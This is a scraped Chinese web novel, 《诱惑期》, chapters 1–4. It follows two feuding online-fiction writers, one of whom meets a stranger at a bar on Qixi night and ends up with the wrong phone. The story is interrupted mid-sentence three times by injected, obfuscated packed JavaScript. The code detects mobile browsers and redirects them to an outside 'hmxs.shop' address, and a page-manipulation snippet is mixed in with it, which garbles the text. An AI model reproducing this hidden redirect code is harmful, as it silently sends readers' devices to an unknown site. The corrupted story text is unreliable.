《诱惑期》 1. 尘封水 [他乘着船在漂，他撑着伞在找。 靠岸了，雨停了，找到了。 你好。] “轰——”让人近乎耳鸣的爆炸！ 硝烟弥漫，烈火冲天。 “咚——” 程末被爆炸波及炸飞了好一段距离，脱力地扑倒在地，那一声咚响几乎快震碎他的心。 不是身躯落地的声音，是他哥哥的遗物。 苟延残喘数月的老旧保温杯终于坏了个彻底，尘封的水堪堪浇灭沾到自己腿上的火苗，滚了几米。 哥哥又保护了他一次。 程末拖着断了的腿去够这个瓶子，紧紧抱在怀里，就像抱着他骤缩骤涨的心脏，他蜷缩在地上，浓烟像一头失控的野兽，厚重的灼烧感让他清晰地感受到周遭愈演愈烈的火势。 意识被痛得不再清醒，只是喃喃：“哥哥，我来找你了。” “嘭——” 突然，耳际模模糊糊传来玻璃被打碎的声音，似是有人破窗而入来到了他的身边。 程末用尽最后一丝力气眯开眼，看到了一只带茧的手，那么熟悉地呼喊着自己。 “哥哥……” —— 画面戛然而止，闪回无数画面并开始播放片尾曲。 “哇呜呜呜呜呜呜呜！”一个女孩在沙发上扭来扭去地抹眼泪，最后滚到了地上的灰黑色毯子上。 哭满了一整个片尾曲，直到电视上完完整整地展示出——“《尘封水》全剧终”。 沙发上另一个年长一点的女人眼角也有眼泪，拉起女孩说：“小乖，来，别哭了，地上凉。” “嗯，”女孩一点头，抄起了遥控器，眼神坚定地像要入党，“那我们再看一遍吧。” 女人也赞同，两人一拍即合，打算开始看第五遍《尘封水》。 旁边的墨蓝色单人沙发上，男人的右眼皮跳了两下，二郎腿换着翘了好几次，终于忍不住把手里攥了半天的茶杯搁在茶几上。 站起来说：“我能走了吗？” “不能！”表妹脸上眼泪都没干，闻言立马转头阻止他。 片尾曲放完了，大屏幕上暂停在最后一幕，祝君忱抬眼看到某个名字，更烦了。 “哥——今晚能出续集吗？废稿也行，我当产出看。” “什么续集。”祝君忱觉得头很痛。 “《尘封水》的续集啊！！” “嗡——”口袋里的手机适时地震动起来，是一个来电。祝君忱的眉头松了一些，似乎找到了救命稻草，对妹妹怼道：“程末早就被我写死了，你要看续集，这剧本谁改的你去找谁。” 说罢，抬起手机囫囵接通放在耳边，快步逃离现场，耳后传来妹妹崩溃的尖叫：“重金求娶言不言老师！！” 刚走远一点，他刚稀里糊涂接通的电话传来声响：“今辰好老师，您好，您《尘封水2》能签给我们出版社吗？” “……”祝君忱脑子里那么一瞬间有一根弦断了，这才难以置信地去看来电人——“萝华出版社”，表情有点木，“谁说的《尘封水》有续集？” “网上都这么说……” “我的《尘封水》已经完结，不写了。”祝君忱冷言道。 电话那头的编辑不知道是被尘封水还是被网上的言论冲昏了头脑，竟傻傻地问：“那谁写呢？” “谁说的让谁写，对了，记得来我这买版权。”祝君忱说完便挂了电话。 他打电话的时候站在客厅的玻璃门前，这会儿透过玻璃往投影那边看，瞧见自己的妈妈和表妹已经开始了新一轮的《尘封水》之旅。 她们连片头都看得津津有味，一帧一帧地夸，祝君忱一眼扫过，有点头痛地又看到了那个名字，扶额走上楼梯。 大抵是孽缘吧，明明不是主演，也不是导演，但总是那么精准地钻进他的视野。 ——编剧：言不言 今晚的噩梦又有了主题。 * “尘封水爆尘封水结局尘封水到底是he还是be尘封水原著尘封水今辰好尘封水言不言老师出续集……” “停。”颜语凉听了一下午的热搜词条听得头晕，瘫在洗头床上，给像机关枪一样往外吐字的邹煜安比了个停的手势，配合着tony老师撩起他的头发，眯起眼开始享受洗头过程。 邹煜安欲言又止恨铁不成钢了一秒，又垂头去看手机。 三秒后—— “今辰好发博了！！……他说——‘我的《尘封水》无续集。’呃……下面评论都在说——” 不知道是听到了什么还是被邹煜安念的实在烦了，颜语凉这才纡尊降贵眯开眼看他，抬手一指一米多远的沙发：“把我手机拿过来，我自己看。” “行嘞，大爷。”邹煜安坐的那张圆凳自带轮子，一来一回滑溜就把手机拿给了颜语凉。 颜语凉非常熟练地解开锁屏，非常熟练地打开博客软件，非常熟练地点开某个用户。 那条“无续集宣言”发表于三分钟前，评论区三分之一在大哭，三分之一在艾特言不言，还有三分之一在讨论剧情。 【程末小可爱：@言不言 编剧老师您说句话啊！书版没有续集，剧版有没有啊！】 【不磕初末睡不着：编剧老师没有续集你睡得着觉吗@言不言 编剧老师我睡不着啊@言不言 编剧老师尘封水已经完结三个小时了，尘封水2可以开始写了吗@言不言 】 【今辰好今天日万了吗：别在老师博客底下艾特他行不行[尬笑.jpg]】 颜语凉看了一会评论区，开始敲手机打字，突然一顿，缓缓吐出一口气来，似乎气得不轻。 tony老师给他洗完头，要进行下一步时，他便把手机重新扔给了邹煜安。 邹煜安正在聚精会神地刷手机，被突然扔给自己的砖头吓一跳：“大爷，你没口袋吗！” 颜语凉也正因这个烦着：“不知道谁设计的裤子，没有口袋怎么活？祝他吃泡面没酱料，喝奶茶没吸管，吃辣条找不到开口。” 邹煜安目瞪口呆：“这真是一个很健康的祝福呢。” 但是以他的了解，颜语凉这个烦极了的表情可不是单单一条裤子就能惹出来的，更大的可能是——又跟今辰好沾边了。 思及此，他去翻博客，果不其然—— 【言不言 回复 @程末小可爱】：我的剧版《尘封水》也已完结。 【言不言 回复 @不磕初末睡不着】：我不是原作者，写不了。 【今辰好回复 @言不言 】：就当你在夸我了。 【言不言 回复 @今辰好】：哪里得出的结论？ 【今辰好回复 @言不言 】：你说你写不出 【言不言 回复 @今辰好】：我是写不出那么无聊的文章 【今辰好回复 @言不言 】：接剧本的时候不觉得无聊？ 【言不言 回复 @今辰好】：把无聊的文章改火比较有挑战性 【今辰好回复 @言不言 】：不用你改也火。 【言不言 回复 @今辰好】：（*＾-＾*） 到此为止，下面的全是粉丝发言—— 【哇，今天是今辰好赢了吗？】 【放屁，我们言不言老师一个微笑秒了一切好不好！】 【那肯定是我们今辰好赢了呀，你们无语老师都写不出那样的文章！】 【睁大你的狗眼好好看看，你们矜持好老师出版这本书的时候，完结这本书的时候有今天这样霸榜热搜吗？！】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758077|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【书又不比剧！我们尘封水完结的时候也是上过两个热搜的好不好？？】 【哦哟，书不比剧，难道不等于今辰好不比言不言？】 【放你的屁，言不言不就是靠今辰好火的吗，当了他两本书的编剧，火了就忘本。】 【你才放屁呢！言不言需要靠你们火吗？你知道他在我们网文圈多权威吗？你应该感谢遇到了我们言不言老师好吧，要是别的编剧不知道给你改稀巴烂呢！】 【新粉……弱弱问一句，就不能是双赢吗？】 于是两家书粉终于统一口径——【双赢个西瓜蛋！】 * 网文圈有两个大佬，大中大，佬中佬。 一个爱写风花雪月，一个爱写柴米油盐。 一个爱写镜中观花水中望月，一个爱写脚踏实地案牍劳形。 一个喜欢在玫瑰刀上吻花瓣，一个喜欢伸长胳膊捞光明。 一个叫言不言，一个叫今辰好。 两人本井水不犯河水，而且之前两人还不是同一个网站的。 可坏就坏在言不言在网文舒适区待够了，跑到影视圈，第一个尝试接的剧本就是今辰好早期的处女作——《账本》。 其实，书改剧都会有另外的编剧，这也没什么。 可是更坏的点就在于——《账本》原本只是一本女主成长小说，讲的是父亲去世母亲生病的小女孩独自经营家里小超市，充实家里的账本的成长故事。而言不言擅自给她加了个暧昧对象。 你要说好吧，很好，剧情似乎更丰满了，男主没有影响她的事业，在女主事业上有了很大的帮扶，感情怎么不算成长的一部分呢？ 你要说不好吧，确实不好，原本的大女主居然变得小家子气了，没有原著那么惨也没有原著那么燃了！ 所以当时争议很大，剧粉觉得有这个感情线很好，还有cp磕，要是删了这条线反而差点意思，但大部分原著粉觉得这个男主真碍事，就是没有原著那样原汁原味。 总的来看，这个改动不算成功，也不算失败，双方打了个平手。 今辰好也不喜欢这个感情线，两人暗地里的矛盾就结下了。 那么暗地里结就结下吧，什么时候放到明面上来的呢？ 大抵是某一次作家匿名名句评选大赏，每一位作者挑选一句话进行续写或者评论，最后的排名按被挑选次数来，言不言一眼看到了那句“脚踩过血淋淋的图钉，走出黑土之地，外面已经天昏，他走不出这座城。” 这个大赏也只是图个乐子，言不言没太认真，开玩笑地评价道：“那就躺家里睡大觉~” 结果排名出来，这条是今辰好写的，言不言的评论被点赞最多。 今辰好本来就对他有所不满，看到那个评论更甚，当场就怼了：“祝你天天躺平。” 从那以后，他们似乎就天天开始怼对方。 对方一有不顺眼的地方，怼！ 对方稍微顺眼一点，也怼！ 闲的没事，怼！ 忙里偷闲，也怼！ 从颜语凉保研名单刚下还在等复试一直怼到研二快研三。书粉随正主也开始慢慢吵得不可开交。 你怼我我怼你，吵着吵着，他们迎来了第二次合作——《尘封水》。 没人知道为什么言不言要再接今辰好的剧，网上各说纷纭，有人说纯报复，有人说可能言不言不知道原著是谁，但是谁也不知道其中真正的原因是什么，言不言也没有一个准确的说法。 这部剧是刑侦题材的，不可谓不爆，导演组小作坊大制作，刚播几集的时候水花不大，可到后面反转愈多，程末和他哥哥程初的cp就越好嗑，直接圈了一大批cp粉，再你传我我传你，到最后的大结局更是直接爆成鱼雷。 2. 小酒馆 “街角”小酒馆。 这里晚上六点钟准点降低灯光亮度，驻唱乐队开始在最中心的歌台上一展歌喉，热闹的夜生活在闪烁的霓虹灯和光束灯下渐渐升起帷幕。 七夕之夜，歌舞升腾。 在最最东南的角落里坐着一个女人和两个男人，桌上摆满了大大小小五颜六色的鸡尾酒，不似平常酒鬼，摆得整整齐齐。 “呜呜呜呜呜呜——”女人脸上的眼泪把她的妆糟弄得一塌糊涂。 “别哭了桃姐。”看起来文弱一些的小男生叫于知，坐在女人对面，不知所措地安慰着。 这个妆容不再惊艳，一杯杯灌着酒的女人叫廖寻桃，吸吸鼻子说：“弟弟你从来没谈过恋爱吧！安慰人如此苍白无力！” 坐在她旁边举着包纸巾的男人哼一声像是被气笑的，一身标致英挺的西装与这个酒吧迷乱的氛围格格不入。 “你笑什么？”廖寻桃一记眼刀杀过去。 程和欢也不怵她，眼神从她花了的眼妆上一扫而过，怼道：“你还要哭多久？我手都酸了。” 廖寻桃当即不满：“换人！让我言爷来给我举纸巾！” “我大老远从公司过来给你举纸盒子，你还挑上了？”程和欢把手里纸巾盒子一丢，不干了。 于知慌忙去接那盒被垃圾一样往桌上扔的纸巾，战战兢兢地双手捧起说：“桃姐，言哥还没到，您先将就着！” “哼，”廖寻桃抽了两张纸醒个鼻涕，鼻尖和耳朵都是红的，修长的手指把纸揉成一个团子，随意但精准地丢进桌底下的垃圾桶里，又闷了口酒，抬眼盯着于知，“你怎么这么怕我？弟弟。” “弟弟几岁了？初恋是什么时候？有没有被甩过，有没有尝过失恋之苦？” “桃姐……”于知都快哭了，憋得脸颊通红。 程和欢给她空了的酒杯满上，意图堵上她的嘴：“颜语凉徒弟你给欺负成这样，小心待会给你收拾收拾丢垃圾桶里。” “谁让他迟到，丢小弟弟一个人在这。” “你能不能别像个女流氓似的？” “去你的，我堂堂一届网文圈圈花，绝世芳华，天生丽质，追我的人从这里排到了法国，怎么在你嘴里就成了女流氓？” “谁评的圈花？” 他们的口舌之争愈演愈烈，看起来下一秒就要打起来了，于知抿着嘴唇，揪着裤子，不知道该不该说话。 终于看到了救命稻草，微微直直身子，磕磕巴巴地报信：“言、言哥他们来了。” 果不其然，门口进来了两道挺拔的身影，酒吧里觥筹交错，吵闹得很，但他们两个长得清秀挺拔的男生一路走过来还是吸引了无数目光。 “言爷！！呜呜呜呜呜呜呜！”廖寻桃撇起嘴，抽了张纸去擦眼角挤出来的眼泪，却发现已经挤不出来了。 “嗨，美女，只跟言大爷打招呼，看不见我邹大爷吗？”邹煜安弯腰伸手在她面前晃晃，以确认对方看到了自己。 “看到了，邹叔。”廖寻桃喊是喊了，不过直接降了个辈分，“走开点，让我看会儿言爷，我现在急需美男充电。” “我和程和欢长得也不错吧，于知也是个白白净净的小帅哥，怎么光看言爷？” 廖寻桃一撩头发，乌黑的直发滑过指缝，她的语气轻挑：“你俩看腻了，这个太嫩了，言爷在next level，百看不腻。” 颜语凉扬唇笑起来：“好话多说。” 廖寻桃一听更起劲了：“瞧瞧我们言不言老师这身白衬衫，简直就是小说里走出来的男主角，童话故事里的白马王子，这条黑色的裤子也是，衬得您气色无比红润。” “第一次听说黑裤子显红润。”程和欢手指敲着桌板吐槽她这段话。 “我们程少今天西装革履也比不上言爷的路边摊穿搭吗？程少你记住了吗？下次最好和言爷约好穿一样的。”邹煜安在中间当搅屎棍，“好让咱桃大美女青眼相看。” “谁想被她夸。” 廖寻桃翻了个白眼，不想理程和欢，继续托着下巴对颜语凉犯花痴，突然说：“言爷，你是不是烫头去了。” 颜语凉习惯了廖寻桃对他两眼放光，在自己徒弟旁边落座，闻言说：“有眼光，刚烫的，怎么样？” 廖寻桃左看看右看看状似很认真地品鉴了一番，最后说：“呃，说实话跟你睡一觉出来的效果差不多。” “那很完美了。”颜语凉似乎很满意，转头问自己的徒弟，“于知你觉得怎么样？” “好、好看。” 颜语凉轻轻拧了下眉毛：“今天怎么结巴了？” 这小家伙也不是第一次见他这群朋友，之前几次虽然也紧张，但不至于磕磕绊绊的。 “被你亲爱的小桃子撩成智障了呗。”程和欢一针见血。 颜语凉一听，搂着于知对廖寻桃说：“你想要撩我们家小于知？五百万成交。” “言爷——”廖寻桃拖着语调撇嘴，讲价直接砍骨折，“五百块行不行？” 于知瞪大眼睛，捏着桌板，转头对着颜语凉一个劲地摇头，生怕自己真被师傅卖了。 颜语凉拍拍他的肩膀以示安慰，转头嘴角下撇，认真得像一个专业的商人：“五十万。” “五十。” “五万。” 程和欢情绪都挂脸上，对他俩的幼稚行为明显有些无语。 邹煜安一副看戏的表情，已经嗑了一小摊瓜子，津津有味。 乐队的歌声在此刻进入高潮，盖过了他们“拍卖”的声音，灯光和音符一起闪烁在酒杯杯壁。 “我还有会，得先走了。”程和欢抬起酒杯和对面两位好友干杯，一饮而尽。 “好，”颜语凉倒了一杯血橙色的鸡尾酒，被甜得一齁，“谁点的，这么甜。” “程和欢。”廖寻桃见颜语凉不喜欢，立马就把锅甩了。 “我还没走呢。”程和欢用食指的第二个指节敲敲桌子。 邹煜安倒的是跟颜语凉一样的酒，尝一口被齁得一激灵，一听这锅扣到程和欢头上了，佯装惊奇道：“想不到霸道总裁还有这等爱好，喜欢小甜甜？” 廖寻桃突然觉得程和欢敲桌子的手还挺好看，让颜语凉和邹煜安轮流敲，看看谁的更好看。 两个人不乐意，她又把矛头对准了于知，于知没法子，他师傅也不顾他，只好听话地敲了五分钟桌子，最后换来桃姐一句：“没想到程和欢那双手还蛮好看的。” “那你下次给他剁了，装自己手上。”颜语凉出主意。 廖寻桃一听，欣赏了十秒钟自己纤细雪白的手指，指甲盖上做着精致的半贴美甲，臭美道：“那还是我自己的更好看。” 这群人是颜语凉认识最久的朋友，互相之间的事几乎没有不知道的。他们是同所高中的同学。廖寻桃是颜语凉同班的，邹煜安和程和欢是楼上理科班的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758078|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高中的时候两个班相同的老师很多，当时就对彼此的名字耳熟能详，当年一起考到北京的时候，因几次活动和比赛联系起来，来来回回几次四个人就熟起来了，到现在已经差不多七年。 廖寻桃和程和欢毕业后没有继续进修学业，一个做了全职作者，一个家里有分公司在北京安安心心地做小老板。 颜语凉和邹煜安考了研，还在北京，几个人经常约着见面吃饭喝酒。 廖寻桃和颜语凉都是写网文的，颜语凉从高中开始就签约写作了，学习工作两不误，廖寻桃当年知道后当场就成了迷妹，听说他是言不言后，更是被迷得找不着北。但凡有人忤逆言不言她都会视为眼中钉，比如那个什么玩意儿矜持好。 网文作者进行创作的方法有很多，廖寻桃是最典型的亲身体验型，不谈恋爱就写不出好看的小甜文，但是她又是招烂桃花体质，谈的对象一个比一个逆天，眼光一个比一个差，这几年谈的对象都可以出一本《渣男手册》。 她几乎每次失恋分手都会约着这几个好朋友来酒吧一聚，喝酒也不喝度数高的，光逮着漂亮的喝，拍一万张照片发朋友圈。 廖寻桃现在这个前男友谈了快两个月居然劈腿了，她眼睛哭得红红的，酒喝得多多的，跑厕所跑了三次，第四次回来的时候邹煜安终于发现了猫腻。 “桃子，你今天有点夸张了吧。” 于知正在敲电脑改颜语凉给的修改意见，听见这话偏头去看廖寻桃，只见桃姐不知道哪来的包袱干净利落地补好了妆，脸上不像之前那样黑一块红一块，现在大眼睛长睫毛红嘴唇精致得像个瓷娃娃，泫然欲泣的眼睛都成了加分项。 “唉——”廖寻桃叹了口气，见对面三个人都盯着自己，露出一副懊恼的表情坐下来，解释说，“吧台那边有个帅哥，超帅的，没谈过那个类型的。” “你去搭讪了吗？” “去了啊，人家一句话都不跟我说，看都不看我一眼。” 颜语凉回头看了眼吧台，那边人不多，酒保正漫不经心地擦着杯子，乐队现在在唱摇滚，现场很燃很炸，吧台边的暖光却好像未被音乐惊扰分毫，各式各样的酒瓶一字排开安安静静地待在橱柜里。 “我去点杯酒。”颜语凉起身。 这个小酒馆他经常来，也常常来柜台看调酒，认识这家酒馆很多调酒师。 颜语凉靠着吧台，用手指轻轻敲了敲摊在暖光底下的菜单说：“小新，来一杯golden dream。” 这位叫小新的调酒师把袖子往上卷了一些，对颜语凉微微一笑。 颜语凉很喜欢看调酒，他看着小新把酒液和果汁倒入雪克壶，缓慢而用力地摇着，最后过滤进一只马天尼杯里，金黄得如同琥珀的颜色，剔透的冰块坠入，迷人地漾起一点水花，调酒何尝不是一次艺术创作。 他喜欢漂亮的物什，会通过漂亮的东西来获得灵感。 如果小说主角因为一杯精致的酒而相遇的话，也是一个很不错的开局。 而且今天还是七夕。 有些老套但确实很浪漫。 颜语凉慢吞吞地想。 “你好，要一瓶诱惑7号。” 一道磁性的男低音在身侧响起。 正在沙发上因搭讪失败生闷气的廖寻桃抬头正要和邹煜安说什么，却看到刚刚搭讪的帅哥绕了一圈路走到了离他六七米远的颜语凉身边。 廖寻桃：……？ 3. 蓝宝石 身侧的男人站得离颜语凉很近，许是因为酒馆里空调温度打得太低，大夏天的他却穿着一件薄薄的卡其色短外套，袖管被很随意地卷起，上边有一粒乌黑的圆纽扣，胸前有一个很大的口袋。 颜语凉接过小新递过来的酒，低声说谢谢，等小新从柜子里拿酒的时候，偏头偷偷去看旁边的人。 这个人的鼻梁很高，眼睫很长，侧脸的轮廓硬朗，脸上没有什么表情嘴角却很自然地耷拉着，漂亮的臭脸哥。 “你好。” 被发现了。 不该说人家坏话的。 漂亮的臭脸哥接过小新递过来的酒，转头看着颜语凉，眉眼间露出恰到好处的疑惑。 那双眉眼更是像一件艺术品，深邃的眼睛是非标准的桃花眼，却标准地勾人。 薄薄而昏黄的灯打在这人无暇如玉的皮肤上像被上帝选中的光环。 颜语凉忽然想起清晨时读的一本林徽因的诗集，那篇《昼梦》—— [天上一颗星 晕紫，深赤， 天空外旷碧， 是颜色同颜色浮溢，腾飞] 这人的眼眸就像一颗正在转动的昏蓝色星球，澄透的光落进去，像细碎流动的小行星带，深沉又凝定。 “你好，”颜语凉脸上的惊艳还没散去，露出一抹讨喜的笑，“我也喜欢诱惑7号。” “嗯，”漂亮的臭脸哥脸不臭了，薄唇微扬，看起来兴致很好，摇着那瓶刚拿到手的诱惑，酒瓶子里面的酒装得不是实打实的满，在晃动下一层一层地敲打着瓶壁，“一起喝一杯？” “行。” 漂亮哥把手上的瓶子搁在桌上，对小新说：“再来一瓶诱惑7和两个杯子，谢谢。” 颜语凉手边还有一杯金色的酒，看见小新利索地拿来了酒和酒杯，对他说：“那我请这位——” 他的目光轻轻地往右飘，同那双流光莹莹的眼睛对视上。 “祝君忱。” “请这位祝先生喝一杯sapphire blue。” 小新头一点，绕着吧台踱了几步从柜台里拎出一瓶蔚蓝色的金酒，又从离得近的那一格冰柜中拈起霜气缭绕的摇酒壶，蓝色的酒液像天空的碎片被倒入壶中。 祝君忱没有拒绝，只手拿过起子开了两瓶诱惑，左手托着瓶底倒了很浅的两杯。 小新很有眼力见地拿来了冰桶，冰夹把冰块从冰桶里取出来的时候还冒着丝丝冷气。 冰块落入酒杯，在黄金色的液体里吐着小小的泡泡。 “先生，您的sapphire blue。”小新把酒杯推向祝君忱，这是一杯湛蓝色的酒，纯粹的蓝，酒如其名，就像一颗易碎的蓝宝石，安静地化在小小的马天尼杯里。 “谢谢，”祝君忱接过，偏头向颜语凉挑了下眉，“它很漂亮。” “嗯，”颜语凉被他不经意的挑眉击中了，难以自禁地漾起笑，“我觉得它和你很搭，特别是那双眼睛。” 其实祝君忱的眼睛没有那么蓝，特别是在酒吧的滤镜光下，更不明显。 酒吧驻唱乐队过了摇滚那一part现在正在唱一首乡村民谣，没那么吵了，有人在几米远的地方把酒保喊了过去，这一小片区域现在就只剩他们两个人。 “第一次带美瞳。”祝君忱胳膊肘抵着吧台食指指着自己的眼睛说，“我表妹送的。” 颜语凉注意到他的指节很长。 “原来是美瞳，很适合你，像原生的，表妹眼光不错。但是，”颜语凉抿了口酒，诱惑7号的酒味不重，果味和甜味绕着舌尖，也不腻，他含着这一口回甘说，“下次可以给我看看你原本的眼睛吗？” 这是在邀请下次见面了。 祝君忱轻轻颔首：“那下次我想尝尝那杯。” 他的目光落在颜语凉左手边的golden dream上，那杯金色的酒碎金子一样闪烁着光芒。 “当然。”颜语凉捏起那杯碎金子，示意身侧的人。 祝君忱学着他的动作捏起那杯蓝宝石，化了一些的冰块“叮叮”地撞着杯壁，伴随着清脆的一声声响，两人干了杯。 * 坐在吧台和新认识的人两杯酒有一搭没一搭地喝了半小时，颜语凉才回到两位朋友和小徒弟身边。 桃大小姐正趴在桌上一边看手机一边自闭。 他们所在的角落边上还有好几张空桌子，灯光不大敞亮，于知的电脑贡献的光更多。颜语凉看见廖寻桃的手边又多了两个空酒瓶子，皱了下眉劝道：“别喝了。” 廖寻桃抬起头瘪着嘴：“言爷——”又作欲哭无泪状。 颜语凉向邹煜安投去疑惑的眼神，邹煜安耸耸肩意思自己不知道。 他又看向于知，于知也摇摇头。 “言爷，”廖寻桃的眼神有些幽怨，刚化好没多久的妆衬得她愈发像一朵招展的娇花，两者一配却像深宫里争抢不过被冷落的妃子，冷宫妃子郁闷地吐出一口长气，说：“刚刚是不是有人跟你搭讪？” “？”颜语凉觉得，准确来说，应该是他自己搭的吧，毕竟是他先偷看的人家。 不过没等他纠正，廖寻桃便伏在桌子上听起了桌板的心跳，无奈地拖着调子：“那就是我刚刚跟你们说的我上去说话理都没理我的帅哥——” “？”颜语凉头顶缓缓冒出一个问号，“你认错了吧，人家挺好说话的啊，不像你说的那样惨绝人寰。” 廖寻桃被他的话噎住了，想说自己是看着他走到你身边的，不可能认错，刚张口就被这个行为困惑住了，脑子宕机了足足一分钟—— 颜语凉明明是从这位帅哥的背后走的，期间根本没有接近过他，帅哥也根本没有看到颜语凉脸的机会为什么突然就绕过去说话了呢？难道是因为酒保在颜语凉那边？说不通啊，这吧台左右也没多长距离，喊一声是绝对能听见的。难道是帅哥包袱比较重不想喊？ 怎么想也想不明白更烦了，崩溃地掏出手机来发消息。 “哟，给我们家小欢发消息？”邹煜安抬着眉毛凑过去。 廖寻桃咬牙切齿道：“我要和程和欢说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758079|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，言爷抢了我的酒吧艳遇。” 邹煜安却被她这句话说笑了，笑得眼睛都眯起来，晃倒在座位上指着颜语凉：“就他？得了吧，那个园什么任给他带了一个月早饭都没理，酒吧艳遇轮得到他？” 廖寻桃气愤地敲完手机，却冲邹煜安摇摇手指：“NoNoNo，那个植物人还是植物园来着，根本比不上那个帅哥一根手指。” 脑海里吧台灯下祝君忱那敲打着桌沿的修长指节一闪而过，颜语凉像听到了什么恶心的东西，脸上的表情变幻莫测，随即手往他们两个面前一伸：“上次说好的，谁再在我面前提到他名字一人五百。” 两位友人脸上默契地露出迷茫的表情，望着颜语凉，异口同声说：“什么名字？” 两人相视一眼耸耸肩：“不知道啊。” 廖寻桃看向于知，抬手点点他的电脑：“弟弟你知道吗？” 于知写东西正写得畅快，冷不丁被叫回神，脸上表情有点懵：“啊？” “都不知道啊，”廖寻桃面露纯良，这是她最擅长的演无辜环节，“我刚刚只是说想去植物园采风而已。” 颜语凉的话从牙齿缝里蹦出来：“你、最、好、是。” “所以，”廖寻桃从原本的位置上站起来，去挤对面师徒两个，对颜语凉眨着眼睛问，“好看吗好看吗好看吗？有没有加到联系方式？可以给我一个吗？我纯欣赏，不打扰。” “没有。”颜语凉喝了一口刚满上的酒。 可能是灯光原因，这杯的颜色没有金梦那么绚烂，味道也没有诱惑那般柔和，总之没有刚喝的那几杯好喝。 余光里看到女孩恨铁不成钢地坐了回去，邹煜安正抱着胳膊摇头说着：“我就说酒吧艳遇不会发生在颜语凉身上吧。”于知似乎也替他可惜，却没吭声，埋头又码字了。 心口由着酒劲生出些情绪，颜语凉就着这点情绪把杯子里的酒一口气全闷了，酒吧里音乐响得他有些耳鸣他才惊觉今天酒意已经过浓，浓到他都已经分不清那囫囵咽下去的情绪究竟是心虚还是心动。 他说谎了。 两位偶然邂逅并约下下一次见面的人怎么会忘了互相留个联系方式。 桌面被空调的温度浸得冰冰凉，桌上摆着的酒瓶子有空的也有喝得半半拉拉的，但在廖寻桃强迫症的驱使下被摆得整整齐齐，桌面上还有一些没拆的小零食，颜语凉揪起一包仙贝正要拆。 突然看到他的手机似乎和平常不太一样，他平时写文、看书、学习养成的习惯就是把手机扣在桌面上，以防被莫名其妙的推送打扰，所以这会手机也安安静静地扣着。 可是，他的手机壳的侧边有一道非常明显的划痕，但是那道痕迹莫名其妙消失了。 颜语凉刚刚灌了好两口酒，脑内神经被酒精麻得酥酥的，甚至都有些困倦，他不假思索地翻开身前这部手机，手机屏幕没有立即亮，可是他的手机设置了手势体感，抬起时会亮屏。 失灵了？ 他按了下开机建，看到了一张陌生的锁屏壁纸。 嗯？ 4. 流浪徒 脑子里被酒精麻痹的那根弦彻彻底底绷紧了。 酒醒了个彻底，这根本不是他的手机！ 这谁的手机？？？ 他自己手机呢？！ 颜语凉没有手机瘾，一般都把手机揣口袋，但是今天是个例外。烫头的事是心血来潮，早上物色好了理发店，只需提前一小时预约，下午就开始做了，所以今天出门万般匆忙，从晾衣架上摘了一件新洗的、奶奶新买给他的直筒裤。 这条裤子版型不错，差就差在没有口袋，今天下午出门做头发的时候是丢在沙发上的，晚上在酒吧里就和现在一样扣在桌上，刚刚和祝君忱聊天的时候也是，随手就扣在吧台上—— 等下…… 颜语凉起身，脸上的眉毛挤作一团，和友人们作别，忽略他们询问原因的话，自顾自地走到了吧台边。 果然，他刚刚坐的地方比较靠里面，旁边就是一摞透明酒杯和一个挂在墙上垂着的绿萝，在酒杯边上有一个孤零零的黑色手机凄惨地被扣着，手机壳侧边有一道非常明显的划痕。 这才是他的。 颜语凉从吧台上拿起手机，小新正在用一块浅蓝色的毛巾擦拭着吧台，见他来便冲他笑：“先生，我就记得是你的。” 那就麻烦了。 颜语凉朝小新僵硬地勾起嘴角，转身去看之前祝君忱走远的方向，那里已经“人去桌空”了。 他垂头去观察手里另一部手机，发现和自己的手机确实是同一个型号的，连摄像头都一模一样。 翻开，摁开锁屏，这个手机的锁屏是一张非常漂亮的风景照，一片绿色的湖，湖边柳枝依依，湖里水波清澈，有两只天鹅在笔芯。 什么老年人壁纸啊，漂亮的臭脸哥不会是一个年过四十的小中年人吧！ 他颜语凉平生第一次搭讪居然搭到小老头了吗？ 脑海里又闪过祝君忱那文质彬彬帅气逼人的侧脸，笔挺大方一点也不过时的穿搭。 看着也不像啊。 颜语凉“啧”了一声，把这些乱七八糟的想法暂且搁置，拧着眉仔细地想手机是怎么到他手上的。 方才他们喝酒时没有聊其他的，对方也很遵守酒桌礼仪，没有谈及家庭、年龄、住址，他们聊的更多的是关于酒的故事，互相分享着彼此对哪些酒的见解，若是让邹煜安听了绝对会骂一嘴两个酒桶子。 中途聊到曾有一位调酒师因长相出挑、调酒能力强而被慕名而来的顾客纷纷争要联系方式的时候，两人便顺理成章地加上了微信。 也不知道这个故事是临时编的还是真的，反正手机是掏出来互相加好友了。 